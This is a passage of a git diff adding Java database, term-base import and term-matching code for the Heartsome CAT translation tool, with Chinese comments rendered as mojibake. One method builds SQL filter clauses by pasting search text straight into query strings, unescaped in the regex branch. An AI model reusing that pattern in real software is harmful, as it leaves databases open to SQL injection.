dbConfig.getOperateDbSQL("getTerm"); + PreparedStatement stmt = conn.prepareStatement(getTermSql); + + stmt.setString(1, tarLang); + stmt.setString(2, srcLang + "," + tarLang); + stmt.setString(3, tarLang + "," + srcLang); + stmt.setString(4, srcLang); + stmt.setString(5, srcPureText); + /* + * SELECT A.TPKID, A.PURE, B.PURE FROM TEXTDATA A LEFT JOIN TEXTDATA B ON A.GROUPID=B.GROUPID AND B.LANG=? AND + * B.TYPE='B' WHERE A.TYPE='B' AND A.LANG=? AND LOCATE(A.PURE, ?) AND B.PURE IS NOT NULL; + */ + ResultSet rs = stmt.executeQuery(); + while (rs.next()) { + + String tuid = rs.getString(1); + String srcWord = rs.getString(2); + String tgtWord = rs.getString(3); + String property = rs.getString(4); + Hashtable tu = new Hashtable(); + tu.put("tuid", tuid); + tu.put("srcLang", srcLang); + tu.put("srcWord", srcWord); + tu.put("tgtLang", tarLang); + tu.put("tgtWord", tgtWord); + tu.put("property", property == null ? "" : property); + terms.add(tu); + } + rs.close(); + stmt.close(); + + return terms; + + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.database.DBOperator#replaceTMOrTBConditionSql(java.lang.String, java.lang.String, boolean, + * boolean, boolean, java.lang.String, java.lang.String[]) + */ + public String replaceTMOrTBConditionSql(String sql, String strSearch, boolean isCaseSensitive, + boolean isApplyRegular, boolean isIgnoreMark, String srcLang, String[] arrFilter) { + strSearch = strSearch == null ? "" : strSearch; + StringBuffer strCondition = new StringBuffer(); + if (srcLang != null) { + strCondition.append(" AND A.LANG='" + srcLang + "'"); + } else { + return null; + } + try { + Function.create(conn, "sqliteRegexp", new Function() { + protected void xFunc() { + try { + if (args() == 2) { + String input = value_text(0); + String regex = value_text(1); + if (Pattern.matches(regex, input)) { + result(1); + } else { + result(0); + } + } else { + error(""); + } + } catch (SQLException e) { + e.printStackTrace(); + } + } + }); + } catch (SQLException e) { + e.printStackTrace(); + } + if (isApplyRegular) { + strCondition.append(" AND sqliteRegexp('" + (isIgnoreMark ? "A.PURE" : "A.CONTENT") + "','" + strSearch + + "')==1"); + } else { + strCondition.append(" AND " + (isIgnoreMark ? "A.PURE" : "A.CONTENT") + " LIKE '%" + + TextUtil.cleanStringByLikeWithMsSql(strSearch) + "%'"); + } + + if (arrFilter != null) { + StringBuffer strFilter = new StringBuffer(arrFilter[1] + " '%" + + TextUtil.cleanStringByLikeWithMsSql(arrFilter[2]) + "%'"); + // 过滤æ¡ä»¶è¦åŠ åœ¨æºè¯­è¨€ä¸­ + if (arrFilter[0].equalsIgnoreCase(srcLang)) { + sql = Utils.replaceString(sql, "__TABLE_TEXTDATA__", ""); + strFilter.insert(0, " AND A.PURE "); + strCondition.append(strFilter.toString()); + } else { + sql = Utils.replaceString(sql, "__TABLE_TEXTDATA__", " ,TEXTDATA B "); + strCondition.append(" AND A.GROUPID=B.GROUPID AND B.TYPE='M' AND B.LANG='" + arrFilter[0] + "'"); + strFilter.insert(0, " AND B.PURE "); + strCondition.append(strFilter.toString()); + } + } else { + sql = Utils.replaceString(sql, "__TABLE_TEXTDATA__", ""); + } + sql = Utils.replaceString(sql, "__CONDITION__", strCondition.toString()); + return sql; + } + + @Override + public void translationUnitAnalysis(String pureText, String fullText, String srcLang, String tgtLang, + int minSimilarity, boolean caseSensitive, int matchUpperLimit, int contextSize, String preHash, + String nextHash, boolean isIngoreTarget, TranslationUnitAnalysisResults analysisResults, int tagPelanty) + throws SQLException { + + int[] ngrams = generateNgrams(srcLang, pureText); + int size = ngrams.length; + if (size == 0) { + return; + } + // long l1 = System.currentTimeMillis(); + int min = size * minSimilarity / 100; + int max = size * 100 / minSimilarity; + Map tpkids = getCandidatesTextDataPks(srcLang, min, max, ngrams); + // System.out.println("查MATEX_LANG表:"+(System.currentTimeMillis() - l1)); + // 构建SQL + Iterator> it = tpkids.entrySet().iterator(); + StringBuffer bf = new StringBuffer(); + // long l = System.currentTimeMillis(); + while (it.hasNext()) { + Entry entry = it.next(); + String tpkid = entry.getKey(); + float c = entry.getValue(); + if (c >= min && c <= max) { + bf.append(","); + bf.append(tpkid); + } + } + if (bf.toString().equals("")) { + return; + } + String tag = TranslationMemoryTools.getInnerTagContent(fullText); + String textDataSql = dbConfig.getOperateDbSQL("fuzzySearch"); + textDataSql = textDataSql.replace("__SET__", bf.toString().substring(1)); + Statement stm = null; + ResultSet rs = null; + Statement tmpStm = null; + try { + stm = conn.createStatement(); + tmpStm = conn.createStatement(); + rs = stm.executeQuery(textDataSql); + // SELECT GROUPID, PURE, CONTENT, PRECONTEXT, NEXTCONTEXT FROM TEXTDATA WHERE TPKID IN (__SET__) + String dbName = getMetaData().getDatabaseName(); + while (rs.next()) { + String _pureText = rs.getString(3); + String _fullText = rs.getString(4); + int similarity = 0; + if (caseSensitive) { + similarity = similarity(pureText, _pureText); + } else { + similarity = similarity(pureText.toLowerCase(), _pureText.toLowerCase()); + } + + String _tag = TranslationMemoryTools.getInnerTagContent(_fullText); + if (!isIngoreTarget && !tag.equals(_tag)) { + // 标记内容ä¸ç›¸ç­‰ï¼Œåˆ™æ‰§è¡Œç½šåˆ† + similarity -= tagPelanty; + } + + if (similarity < minSimilarity) { + continue; + } + if (similarity == 100 && CommonFunction.checkEdition("U")) { + String preContext = rs.getString(5); + String nextContext = rs.getString(6); + if (preContext != null && nextContext != null) { + String[] preContexts = preContext.split(","); + String[] nextContexts = nextContext.split(","); + if (preContexts.length > contextSize) { + preContext = ""; //$NON-NLS-1$ + for (int i = 0; i < contextSize; i++) { + preContext += "," + preContexts[i]; //$NON-NLS-1$ + } + if (!"".equals(preContext)) { //$NON-NLS-1$ + preContext = preContext.substring(1); + } + } + + if (nextContexts.length > contextSize) { + nextContext = ""; //$NON-NLS-1$ + for (int i = 0; i < contextSize; i++) { + nextContext += "," + nextContexts[i]; //$NON-NLS-1$ + } + if (!"".equals(nextContext)) { //$NON-NLS-1$ + nextContext = nextContext.substring(1); + } + } + + if (preHash.equals(preContext) && nextHash.equals(nextContext)) { + similarity = 101; + } + } + } + TranslationUnitAnalysisResult r = new TranslationUnitAnalysisResult(similarity, dbName); + analysisResults.add(r); + } + } finally { + if (rs != null) { + rs.close(); + } + if (stm != null) { + stm.close(); + } + if (tmpStm != null) { + tmpStm.close(); + } + } + } + + @Override + public boolean isReadOnly() { + String path = metaData.getDataPath()+File.separator+metaData.getDatabaseName(); + return !new File(path).canWrite(); + } +} diff --git a/database/net.heartsome.cat.database.sqlite/src/net/heartsome/cat/database/sqlite/resource/Messages.java b/database/net.heartsome.cat.database.sqlite/src/net/heartsome/cat/database/sqlite/resource/Messages.java new file mode 100644 index 0000000..df81e77 --- /dev/null +++ b/database/net.heartsome.cat.database.sqlite/src/net/heartsome/cat/database/sqlite/resource/Messages.java @@ -0,0 +1,40 @@ +package net.heartsome.cat.database.sqlite.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public final class Messages { + + /** The Constant BUNDLE_NAME. */ + private static final String BUNDLE_NAME = "net.heartsome.cat.database.sqlite.resource.message"; //$NON-NLS-1$ + + /** The Constant RESOURCE_BUNDLE. */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * Instantiates a new messages. + */ + private Messages() { + // Do nothing + } + + /** + * Gets the string. + * @param key + * the key + * @return the string + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } +} diff --git a/database/net.heartsome.cat.database.sqlite/src/net/heartsome/cat/database/sqlite/resource/message.properties b/database/net.heartsome.cat.database.sqlite/src/net/heartsome/cat/database/sqlite/resource/message.properties new file mode 100644 index 0000000..286fccc --- /dev/null +++ b/database/net.heartsome.cat.database.sqlite/src/net/heartsome/cat/database/sqlite/resource/message.properties @@ -0,0 +1 @@ +sqlite.OperateSystemDBImpl.errorMsg1 = \u65e0\u6cd5\u5220\u9664\u8be5\u5e93\uff0c\u8bf7\u786e\u8ba4\u6b64\u5e93\u662f\u5426\u6b63\u5728\u4f7f\u7528\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 \ No newline at end of file diff --git a/database/net.heartsome.cat.database.sqlite/src/net/heartsome/cat/database/sqlite/resource/message_en.properties b/database/net.heartsome.cat.database.sqlite/src/net/heartsome/cat/database/sqlite/resource/message_en.properties new file mode 100644 index 0000000..2493231 --- /dev/null +++ b/database/net.heartsome.cat.database.sqlite/src/net/heartsome/cat/database/sqlite/resource/message_en.properties @@ -0,0 +1 @@ +sqlite.OperateSystemDBImpl.errorMsg1 = Cannot delete the database file. Please confirm that the database is not being used, and then retry. \ No newline at end of file diff --git a/database/net.heartsome.cat.database.sqlite/src/net/heartsome/cat/database/sqlite/resource/message_zh.properties b/database/net.heartsome.cat.database.sqlite/src/net/heartsome/cat/database/sqlite/resource/message_zh.properties new file mode 100644 index 0000000..286fccc --- /dev/null +++ b/database/net.heartsome.cat.database.sqlite/src/net/heartsome/cat/database/sqlite/resource/message_zh.properties @@ -0,0 +1 @@ +sqlite.OperateSystemDBImpl.errorMsg1 = \u65e0\u6cd5\u5220\u9664\u8be5\u5e93\uff0c\u8bf7\u786e\u8ba4\u6b64\u5e93\u662f\u5426\u6b63\u5728\u4f7f\u7528\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 \ No newline at end of file diff --git a/database/net.heartsome.cat.database.tb/.classpath b/database/net.heartsome.cat.database.tb/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/database/net.heartsome.cat.database.tb/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/database/net.heartsome.cat.database.tb/.project b/database/net.heartsome.cat.database.tb/.project new file mode 100644 index 0000000..13f90f9 --- /dev/null +++ b/database/net.heartsome.cat.database.tb/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.database.tb + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/database/net.heartsome.cat.database.tb/.settings/org.eclipse.jdt.core.prefs b/database/net.heartsome.cat.database.tb/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/database/net.heartsome.cat.database.tb/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/database/net.heartsome.cat.database.tb/META-INF/MANIFEST.MF b/database/net.heartsome.cat.database.tb/META-INF/MANIFEST.MF new file mode 100644 index 0000000..f271c77 --- /dev/null +++ b/database/net.heartsome.cat.database.tb/META-INF/MANIFEST.MF @@ -0,0 +1,19 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Database TermBase +Bundle-SymbolicName: net.heartsome.cat.database.tb;singleton:=true +Bundle-Version: 8.0.1.R8b_v20121214 +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Require-Bundle: org.eclipse.core.runtime;bundle-version="3.7.0", + org.eclipse.jface;bundle-version="3.7.0", + org.eclipse.core.resources;bundle-version="3.7.100", + net.heartsome.cat.database;bundle-version="1.0.0", + net.heartsome.cat.thirdpartlibrary;bundle-version="1.0.0", + org.eclipse.ui.workbench;bundle-version="3.7.0", + net.heartsome.cat.database.ui.tb;bundle-version="8.0.0" +Import-Package: net.heartsome.cat.common.bean, + net.heartsome.cat.ts.core, + net.heartsome.cat.ts.core.file, + net.heartsome.cat.ts.tb.importer.extension, + net.heartsome.cat.ts.tb.match.extension +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/database/net.heartsome.cat.database.tb/build.properties b/database/net.heartsome.cat.database.tb/build.properties new file mode 100644 index 0000000..66927d0 --- /dev/null +++ b/database/net.heartsome.cat.database.tb/build.properties @@ -0,0 +1,6 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + plugin.xml diff --git a/database/net.heartsome.cat.database.tb/plugin.xml b/database/net.heartsome.cat.database.tb/plugin.xml new file mode 100644 index 0000000..69c8969 --- /dev/null +++ b/database/net.heartsome.cat.database.tb/plugin.xml @@ -0,0 +1,16 @@ + + + + + + + + + + + + diff --git a/database/net.heartsome.cat.database.tb/src/net/heartsome/cat/database/tb/TbDbOperatorManager.java b/database/net.heartsome.cat.database.tb/src/net/heartsome/cat/database/tb/TbDbOperatorManager.java new file mode 100644 index 0000000..9f4d964 --- /dev/null +++ b/database/net.heartsome.cat.database.tb/src/net/heartsome/cat/database/tb/TbDbOperatorManager.java @@ -0,0 +1,128 @@ +/** + * TermDbOperatorManager.java + * + * Version information : + * + * Date:2012-5-2 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.tb; + +import java.sql.SQLException; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.database.DBOperator; +import net.heartsome.cat.database.service.DatabaseService; +import net.heartsome.cat.database.tb.resource.Messages; +import net.heartsome.cat.ts.core.IProjectConfigChangedListener; +import net.heartsome.cat.ts.core.file.ProjectConfiger; +import net.heartsome.cat.ts.core.file.ProjectConfigerFactory; + +import org.eclipse.core.resources.IProject; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 术语库连接管ç†å™¨ + * @author jason + * @version + * @since JDK1.6 + */ +public class TbDbOperatorManager implements IProjectConfigChangedListener { + public final static Logger logger = LoggerFactory.getLogger(TbDbOperatorManager.class); + + private IProject currentProj; + + private ProjectConfiger projConfiger; + + private List dbOpList; + + public TbDbOperatorManager() { + dbOpList = new ArrayList(); + } + + /** + * è®¾ç½®é¡¹ç›®ä¿¡æ¯ + * @param project + * ; + */ + public void setProject(IProject project) { + if (currentProj == null) { + currentProj = project; + } else if (project != null && !project.getName().equals(currentProj.getName())) { + currentProj = project; + } else { + return; + } + + if (currentProj != null) { + projConfiger = ProjectConfigerFactory.getProjectConfiger(currentProj); + projConfiger.addChangeListener(this); + loadTmDbConn(); + } + } + + public void handProjectConfigChangedEvent() { + loadTmDbConn(); + } + + /** + * 加载连接 ; + */ + private void loadTmDbConn() { + releaseTmDbConn(); // 加载连接å‰å…ˆé‡Šæ”¾å·²ç»å­˜åœ¨è¿žæŽ¥ + + if (projConfiger != null) { + List tmDbConfigList = projConfiger.getTermBaseDbs(false); + for (int i = 0; i < tmDbConfigList.size(); i++) { + DatabaseModelBean dmb = tmDbConfigList.get(i); + DBOperator db = DatabaseService.getDBOperator(dmb.toDbMetaData()); + try { + db.start(); + } catch (Exception e) { + logger.error(MessageFormat.format(Messages.getString("tb.TbDbOperatorManager.logger1"), + dmb.getDbType(), dmb.getDbName()), e); + continue; + } + this.dbOpList.add(db); + } + } + } + + /** + * 释放连接 ; + */ + private void releaseTmDbConn() { + for (DBOperator dbop : dbOpList) { + try { + if (dbop != null) { + dbop.end(); + } + } catch (SQLException e) { + logger.error(Messages.getString("tb.TbDbOperatorManager.logger2") + + dbop.getMetaData().getDatabaseName(), e); + continue; // 继续释放其他数æ®åº“èµ„æº + } + } + dbOpList.clear(); + } + + public void clearResource() { + currentProj = null; + if (projConfiger != null) { + projConfiger.removeChangeListener(this); + } + releaseTmDbConn(); + } + + public List getDbOperatorList() { + return this.dbOpList; + } +} diff --git a/database/net.heartsome.cat.database.tb/src/net/heartsome/cat/database/tb/TbParameters.java b/database/net.heartsome.cat.database.tb/src/net/heartsome/cat/database/tb/TbParameters.java new file mode 100644 index 0000000..93d4e9f --- /dev/null +++ b/database/net.heartsome.cat.database.tb/src/net/heartsome/cat/database/tb/TbParameters.java @@ -0,0 +1,60 @@ +/** + * TBParameters.java + * + * Version information : + * + * Date:2012-5-7 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.tb; + +import net.heartsome.cat.database.bean.TBPreferenceConstants; +import net.heartsome.cat.database.ui.tb.Activator; + +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.util.IPropertyChangeListener; +import org.eclipse.jface.util.PropertyChangeEvent; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class TbParameters implements IPropertyChangeListener { + + private IPreferenceStore ps; + private int tbUpdateStrategy = 0; + + private static TbParameters instance; + + public static TbParameters getInstance() { + if (instance == null) { + instance = new TbParameters(); + } + return instance; + } + + private TbParameters() { + ps = Activator.getDefault().getPreferenceStore(); + ps.addPropertyChangeListener(this); + loadPerference(); + } + + public void propertyChange(PropertyChangeEvent event) { + loadPerference(); + } + + private void loadPerference() { + tbUpdateStrategy = ps.getInt(TBPreferenceConstants.TB_UPDATE); + } + + /** @return the tbUpdateStrategy */ + public int getTbUpdateStrategy() { + return tbUpdateStrategy; + } + +} diff --git a/database/net.heartsome.cat.database.tb/src/net/heartsome/cat/database/tb/importer/TbImporter.java b/database/net.heartsome.cat.database.tb/src/net/heartsome/cat/database/tb/importer/TbImporter.java new file mode 100644 index 0000000..f4883db --- /dev/null +++ b/database/net.heartsome.cat.database.tb/src/net/heartsome/cat/database/tb/importer/TbImporter.java @@ -0,0 +1,159 @@ +/** + * TbImporter.java + * + * Version information : + * + * Date:2012-5-7 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.tb.importer; + +import java.sql.SQLException; +import java.text.MessageFormat; +import java.util.List; + +import org.eclipse.core.resources.IProject; +import org.eclipse.core.runtime.IProgressMonitor; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.database.DBOperator; +import net.heartsome.cat.database.service.DatabaseService; +import net.heartsome.cat.database.tb.TbDbOperatorManager; +import net.heartsome.cat.database.tb.TbParameters; +import net.heartsome.cat.database.tb.resource.Messages; +import net.heartsome.cat.document.ImportAbstract; +import net.heartsome.cat.ts.core.IProjectConfigChangedListener; +import net.heartsome.cat.ts.core.file.ProjectConfiger; +import net.heartsome.cat.ts.core.file.ProjectConfigerFactory; +import net.heartsome.cat.ts.tb.importer.extension.ITbImporter; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class TbImporter implements ITbImporter, IProjectConfigChangedListener { + + private final static Logger logger = LoggerFactory.getLogger(TbDbOperatorManager.class); + + private ProjectConfiger projConfiger; + private IProject currentProj; + private DBOperator dbOp; + + private TbParameters tbParas = TbParameters.getInstance(); + + /** + * + */ + public TbImporter() { + + } + + public boolean checkImporter() { + if (dbOp != null) { + return true; + } + return false; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.ts.tb.importer.extension.ITbImporter#setProject(org.eclipse.core.resources.IProject) + */ + public void setProject(IProject project) { + if (project == null) { + clearResources(); + return; + } + if (currentProj == null) { + currentProj = project; + } else if (project != null && !project.getName().equals(currentProj.getName())) { + currentProj = project; + } else { + return; + } + + if (currentProj != null) { + projConfiger = ProjectConfigerFactory.getProjectConfiger(currentProj); + projConfiger.addChangeListener(this); + loadTmDbConn(); + } + } + + public void handProjectConfigChangedEvent() { + loadTmDbConn(); + } + + /** + * 加载连接 ; + */ + private void loadTmDbConn() { + releaseTmDbConn(); // 加载连接å‰å…ˆé‡Šæ”¾å·²ç»å­˜åœ¨è¿žæŽ¥ + + if (projConfiger != null) { + List termdbList = projConfiger.getTermBaseDbs(true); + if (termdbList.size() == 0) { + return; + } + + DatabaseModelBean dmb = termdbList.get(0); + if (dmb != null) { + this.dbOp = DatabaseService.getDBOperator(dmb.toDbMetaData()); + try { + dbOp.start(); + } catch (Exception e) { + logger.error(MessageFormat.format(Messages.getString("importer.TbImporter.logger1"), + dmb.getDbType(), dmb.getDbName()), e); + dbOp = null; + } + } + } + } + + /** + * 释放连接 ; + */ + private void releaseTmDbConn() { + if (dbOp != null) { + try { + if (dbOp != null) { + dbOp.end(); + } + } catch (SQLException e) { + logger.error(Messages.getString("importer.TbImporter.logger2") + dbOp.getMetaData().getDatabaseName(), + e); + } + dbOp = null; + } + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.ts.tb.importer.extension.ITbImporter#executeImport(java.lang.String, java.lang.String) + */ + public int executeImport(String tbxStr, String srcLang, IProgressMonitor monitor) { + if (dbOp != null) { + int result = DatabaseService.importTbxWithString(tbxStr, monitor, dbOp, tbParas.getTbUpdateStrategy(), + srcLang); + if (result == ImportAbstract.SUCCESS) { + return ITbImporter.IMPORT_STATE_SUCCESSED; + } + } else { + return ITbImporter.IMPORT_STATE_NODB; + } + return ITbImporter.IMPORT_STATE_FAILED; + } + + public void clearResources() { + this.releaseTmDbConn(); + if (projConfiger != null) + projConfiger.removeChangeListener(this); + currentProj = null; + } +} diff --git a/database/net.heartsome.cat.database.tb/src/net/heartsome/cat/database/tb/match/TbMatch.java b/database/net.heartsome.cat.database.tb/src/net/heartsome/cat/database/tb/match/TbMatch.java new file mode 100644 index 0000000..ed34639 --- /dev/null +++ b/database/net.heartsome.cat.database.tb/src/net/heartsome/cat/database/tb/match/TbMatch.java @@ -0,0 +1,319 @@ +/** + * TermMatch.java + * + * Version information : + * + * Date:2012-5-2 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.tb.match; + +import java.util.Hashtable; +import java.util.Iterator; +import java.util.List; +import java.util.Map.Entry; +import java.util.StringTokenizer; +import java.util.TreeMap; +import java.util.Vector; + +import net.heartsome.cat.database.DBOperator; +import net.heartsome.cat.database.NGrams; +import net.heartsome.cat.database.bean.TBPreferenceConstants; +import net.heartsome.cat.database.tb.TbDbOperatorManager; +import net.heartsome.cat.database.ui.tb.Activator; +import net.heartsome.cat.ts.tb.match.extension.AbstractTbMatch; +import net.heartsome.cat.ts.tb.match.extension.ITbMatch; + +import org.eclipse.core.resources.IProject; + +/** + * 术语库匹é…实现 + * @author jason + * @version + * @since JDK1.6 + */ +public class TbMatch extends AbstractTbMatch implements ITbMatch { + + private TbDbOperatorManager termDbOpManager = new TbDbOperatorManager(); + + /** + * + */ + public TbMatch() { + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.ts.ITbMatch.term.extensionpoint.ITermMatch#setProject(org.eclipse.core.resources.IProject) + */ + public void setProject(IProject project) { + termDbOpManager.setProject(project); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.ts.ITbMatch.term.extensionpoint.ITermMatch#getTransUnitTerms() + */ + public Vector> getTransUnitTerms() { + Vector> terms = new Vector>(); + List dbOperatorList = termDbOpManager.getDbOperatorList(); + String temp = ""; + for (int i = 0; i < dbOperatorList.size(); i++) { + try { + // 如果为sqliteæ•°æ®åº“,将文本转æ¢æˆå¤§å†™æŸ¥æ‰¾ + if(("SQLite").equals(dbOperatorList.get(i).getMetaData().getDbType())){ + temp =super.srcPureText.toUpperCase(); + }else{ + temp = super.srcPureText; + } + terms.addAll(dbOperatorList.get(i).findAllTermsByText(temp, super.srcLanguage, + super.tgtLanguage)); + } catch (Exception e) { + e.printStackTrace(); + } + } + if (terms == null || terms.size() <= 0) { + return terms; + } + // 删除所有的特殊字符 -robert//\f\t\u2028\u2029,.;\"\':<>?!()[]{}=+-/*\u00AB\u00BB\u201C\u201D\u201E\uFF00\u2003 + // srcPureText = + // srcPureText.replaceAll("[^\\w\\s\\.\\,\\;\\\"\\'\\:\\<\\>\\?\\!\\(\\)\\[\\]\\{\\}\\=\\+\\/\\*&@#$%_~`-]", + // " "); + // 注释以上代ç è§£å†³å¾·è¯­ã€ä¿„语中带注音字符部分被忽略掉的问题 + + cleanTerms(srcPureText, srcLanguage, terms, super.isSort); + resetCleanTerms(terms); + boolean caseSencitive = Activator.getDefault().getPreferenceStore() + .getBoolean(TBPreferenceConstants.TB_CASE_SENSITIVE); + if (!caseSencitive) { + doWithQueryResultsCaseSensitive(terms, srcPureText); + } + if (isSort) { + return sortTerms(terms, srcLanguage); + } else { + return terms; + } + } + + /** + * 清ç†éžäºšæ´²è¯­ç³»ä¸­ä¸èƒ½åŒ¹é…整个å•è¯åŠé‡å¤å‡ºçŽ°çš„术语。 + */ + public static void cleanTerms(String source, String srcLang, Vector> terms, boolean isSort) { + Vector srcWord = buildWordList(source.toLowerCase(), srcLang); + + for (int i = 0; i < terms.size(); i++) { + Hashtable term = terms.get(i); + String key = term.get("srcWord"); + Vector keyWord = buildWordList(key.toLowerCase(), srcLang); + // 其他文字,è¦è¿›è¡Œè¿›ä¸€æ­¥åˆ¤æ–­ï¼Œå¦‚果判断ä¸æˆåŠŸï¼Œåˆ é™¤è¯¥æœ¯è¯­åŒ¹é… + if (!srcLang.toLowerCase().matches("zh.*|ja.*|ko.*|th.*|he.*")) { + if (!termAnalysis(srcWord, keyWord)) { + terms.remove(i); + i--; + } + } + + // 如果è¦æŽ’åºçš„è¯ï¼ŒèŽ·å–术语å•è¯æ•°ä¸Žå­—数,方便排åºæ—¶è¿›è¡Œæ¯”较,以åŠåœ¨è‡ªåŠ¨ç¿»è¯‘中计算匹é…率,é¿å…é‡å¤å–出æ¥æ–‡æœ¬æ¥è®¡ç®—。 + if (isSort) { + term.put("WordSize", String.valueOf(keyWord.size())); + term.put("CharLength", String.valueOf(key.length())); + term.put("index", "" + source.indexOf(key)); + } + + // 下é¢åˆ¤æ–­é‡å¤çš„术语的情况,与下é¢æ‰€æœ‰çš„术语项进行匹é…,若有相åŒçš„,就删除。 备注:注释该过滤代ç ï¼Œ--robert 2012-06-18 + // for (int j = i + 1; j < terms.size(); j++) { + // Hashtable term_j = terms.get(j); + // if (term.get("srcWord").equals(term_j.get("srcWord")) + // && term.get("tgtWord").equals(term_j.get("tgtWord"))) { + // terms.remove(j); + // j--; + // } + // } + } + } + + private static Vector buildWordList(String source, String srcLang) { + Vector result = new Vector(); + StringTokenizer tk = new StringTokenizer(source, NGrams.SEPARATORS, true); + while (tk.hasMoreTokens()) { + result.add(tk.nextToken()); + } + return result; + } + + public static boolean termAnalysis(Vector srcWord, Vector termWords) { + int termSize = 